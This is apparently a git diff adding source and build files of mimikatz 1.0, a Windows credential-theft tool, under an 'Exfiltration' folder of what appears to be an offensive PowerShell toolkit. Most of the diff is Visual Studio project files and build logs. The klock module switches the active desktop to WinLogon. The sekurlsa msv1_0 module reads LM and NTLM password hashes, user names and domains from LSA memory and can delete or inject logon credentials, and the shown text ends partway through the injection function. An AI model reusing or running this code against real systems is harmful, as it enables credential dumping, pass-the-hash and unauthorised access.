Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\commun\kmodel.cpp" /> + <ClCompile Include="..\..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp" /> + <ClCompile Include="kelloworld.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\commun\kmodel.h" /> + <ClInclude Include="..\..\modules\mod_parseur.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h" /> + <ClInclude Include="kelloworld.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kelloworld.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters new file mode 100644 index 0000000..4271331 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="kelloworld.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\..\commun\kmodel.cpp"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="kelloworld.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\kmodel.h"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{78bbda7e-d41f-4f1c-8aab-9b9471b30a56}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{314aff70-fe34-4afa-9341-0ad0a9a9a735}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{86a68fa7-1f11-48c7-9821-f5c8bf8b6724}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Librairie Modèle"> + <UniqueIdentifier>{7790e784-5bb7-405d-8bc7-0a3f5351245b}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kelloworld.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..bcd26b3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..73eaec6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..5cef6b9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res Binary files differnew file mode 100644 index 0000000..3104953 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog new file mode 100644 index 0000000..3cfbe7b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\klock\klock.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..966e3ca --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..118ff20 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..ed695be --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..96b5f5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..6e3ab6c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..df7edcc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..055dfdc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..ee2aaa1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..a07a6d6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp new file mode 100644 index 0000000..9717c49 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp @@ -0,0 +1,97 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "klock.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"kLock : librairie de manipulation des bureaux"); + return true; +} + +bool getNameOfDesktop(HDESK desktop, wstring &bureau) +{ + bool resultat = false; + + wchar_t * monBuffer; + DWORD tailleRequise = 0; + + if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0)) + { + monBuffer = new wchar_t[tailleRequise]; + if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + bureau.assign(monBuffer); + } + delete[] monBuffer; + } + return resultat; +} + +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wstringstream maReponse; + wstring source, cible, monBureau; + bool modeFullAuto = true; + + if(mesArguments->size() == 2) + { + modeFullAuto = false; + source = mesArguments->front(); + cible = mesArguments->back(); + } + + if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP)) + { + if(getNameOfDesktop(hOriginalDesktop, monBureau)) + { + maReponse << L"Bureau courant : " << monBureau << endl; + + if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto) + { + if(modeFullAuto) + cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default"; + + maReponse << L"Bureau cible : " << cible << endl; + + if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP)) + { + if (SwitchDesktop(hNewDesktop)) + maReponse << L"Switch du bureau russi !"; + else + maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError(); + maReponse << endl; + CloseDesktop(hNewDesktop); + } + else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError(); + } + else if(!modeFullAuto) + maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqu (" << source << L")" << endl; + } + else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hOriginalDesktop); + } + else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wstringstream maReponse; + wstring monBureau; + + if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ)) + { + if(getNameOfDesktop(hDesktop, monBureau)) + maReponse << L"Bureau courant : " << monBureau << endl; + else + maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hDesktop); + } + return sendTo(monPipe, maReponse.str()); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h new file mode 100644 index 0000000..e6ea046 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h @@ -0,0 +1,14 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_system.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription); + +bool getNameOfDesktop(HDESK desktop, wstring &bureau); +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector<wstring> * mesArguments);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc Binary files differnew file mode 100644 index 0000000..28599d2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj new file mode 100644 index 0000000..a93a79d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj @@ -0,0 +1,131 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{6556249E-1C80-4047-A863-F608C8B8AC55}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>klock</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib;shlwapi.lib;secur32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib;shlwapi.lib;secur32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ResourceCompile Include="klock.rc" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\commun\kmodel.cpp" /> + <ClCompile Include="..\..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp" /> + <ClCompile Include="klock.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\commun\kmodel.h" /> + <ClInclude Include="..\..\modules\mod_parseur.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h" /> + <ClInclude Include="..\..\modules\mod_system.h" /> + <ClInclude Include="klock.h" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters new file mode 100644 index 0000000..cc5f342 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters @@ -0,0 +1,53 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{255a8a01-9f58-4a47-9d1e-1d5fc9f16419}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{d6070dc8-7a9b-46c0-b75a-5fd6c10f8613}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{01639990-b135-46fe-8511-84761977c1bf}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Librairie Modèle"> + <UniqueIdentifier>{fa3fed71-2d05-4e39-a46b-59e9b2c83e04}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\System"> + <UniqueIdentifier>{e53f7390-cd26-41d0-9f10-ea350fc88e43}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\..\commun\kmodel.cpp"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClCompile> + <ClCompile Include="klock.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\kmodel.h"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClInclude> + <ClInclude Include="klock.h" /> + <ClInclude Include="..\..\modules\mod_system.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="klock.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..b429e5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp @@ -0,0 +1,153 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" + +bool searchMSVFuncs() +{ + if(!MSV1_0_MspAuthenticationPackageId) + MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; + return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); +} + +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + unsigned short reservedSize = 0; + PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; + if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) + { + wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); + + if(justSecurity) + maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + maReponse << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); + } + else maReponse << L"n.t. (LUID KO)"; + } + else maReponse << L"n.a. (msv KO)"; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) + { + wstring idSecAppHigh = L"0"; + wstring idSecAppLow = mesArguments->front(); + if(mesArguments->size() > 1) + { + idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + if(idApp.LowPart != 0 || idApp.HighPart != 0) + maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des donnes de scurit russie :)" : L"Suppression des donnes de scurit en chec :("); + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) + { + MSV1_0_PRIMARY_CREDENTIAL kiwicreds; + RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); + + wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); + kiwicreds.LmPasswordPresent = FALSE; + kiwicreds.NtPasswordPresent = TRUE; + + switch(mesArguments->size()) // mchants arguments 